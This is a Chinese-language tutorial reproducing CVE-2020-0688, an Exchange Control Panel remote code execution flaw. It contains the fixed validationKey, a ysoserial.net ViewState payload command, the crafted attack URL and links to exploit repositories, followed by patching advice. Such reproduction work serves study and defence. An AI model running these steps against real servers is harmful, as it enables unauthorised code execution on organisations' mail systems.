CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现
字数 1594 2025-08-26 22:11:57
CVE-2020-0688:微软Exchange服务远程代码执行漏洞分析与复现
漏洞概述
CVE编号:CVE-2020-0688
漏洞类型:远程代码执行
影响组件:Microsoft Exchange Control Panel (ECP)
漏洞成因:Exchange服务器安装时未正确创建唯一加密密钥,导致所有Exchange Server使用相同的validationKey和decryptionKey
受影响版本
- Exchange Server 2010
- Exchange Server 2013
- Exchange Server 2016
- Exchange Server 2019
漏洞原理
该漏洞源于Exchange服务器在安装时web.config文件中使用了固定的加密密钥:
validationKey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BFdecryptionKey = SHA1
这些密钥用于保护ASP.NET的ViewState安全。ViewState是ASP.NET Web应用以序列化格式存储在客户端的服务端数据。攻击者可利用这些固定密钥伪造恶意ViewState,在Exchange Control Panel web应用上执行任意.NET代码。
漏洞复现
环境准备
- 操作系统:Windows Server 2012
- Exchange版本:
- 15.0.516.32(2012年12月3日)
- 15.0.1497.2(2019年6月18日)
复现步骤
-
获取ViewStateUserKey值
- 访问
/ecp/default.aspx - 按F12打开开发者工具,选择Network选项
- 刷新页面(F5),查看
/ecp/default.aspx的原始响应 - 在响应中搜索
__VIEWSTATEUSERKEY
- 访问
-
获取VIEWSTATEGENERATOR值
- 同样在
/ecp/default.aspx的响应中搜索VIEWSTATEGENERATOR - 或使用JavaScript获取:
document.getElementById("VIEWSTATEGENERATOR").value - 注:若未找到该字段,需安装KB2919355补丁
- 同样在
-
整理已知参数
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF --validationalg = SHA1 --generator = B97B4E27(基本默认) --viewstateuserkey = d673d1a4-1794-403e-ab96-e283ca880ef2(需手工获取,每次登录不同) -
生成payload
使用ysoserial.net工具生成恶意ViewState:.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --validationalg="SHA1" \ --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" \ --generator="B97B4E27" \ --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2" \ --isdebug --islegacy -
URL编码payload
将ysoserial生成的payload进行URL编码 -
构造攻击URL
https://[目标IP]/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=[URL编码后的payload] -
执行攻击
访问构造好的URL,若成功将弹出计算器
注意事项
- 创建文件时需使用完整命令格式:
-c "cmd /c echo test > C:\1.txt" - 直接使用
-c "echo OOOPS!!! > c:/Vuln_Server.txt"无法创建文件
工具下载
-
ysoserial.net工具:
- https://github.com/pwntester/ysoserial.net
- https://github.com/Jumbo-WJB/CVE-2020-0688
- https://github.com/random-robbie/cve-2020-0688
-
Exchange版本信息:
- https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016
修复建议
- 及时安装微软发布的补丁
- 对于无法立即更新的系统,建议限制对ECP接口的访问
- 监控和审计Exchange服务器的异常活动
参考链接
- https://nosec.org/home/detail/4158.html
- 微软官方安全公告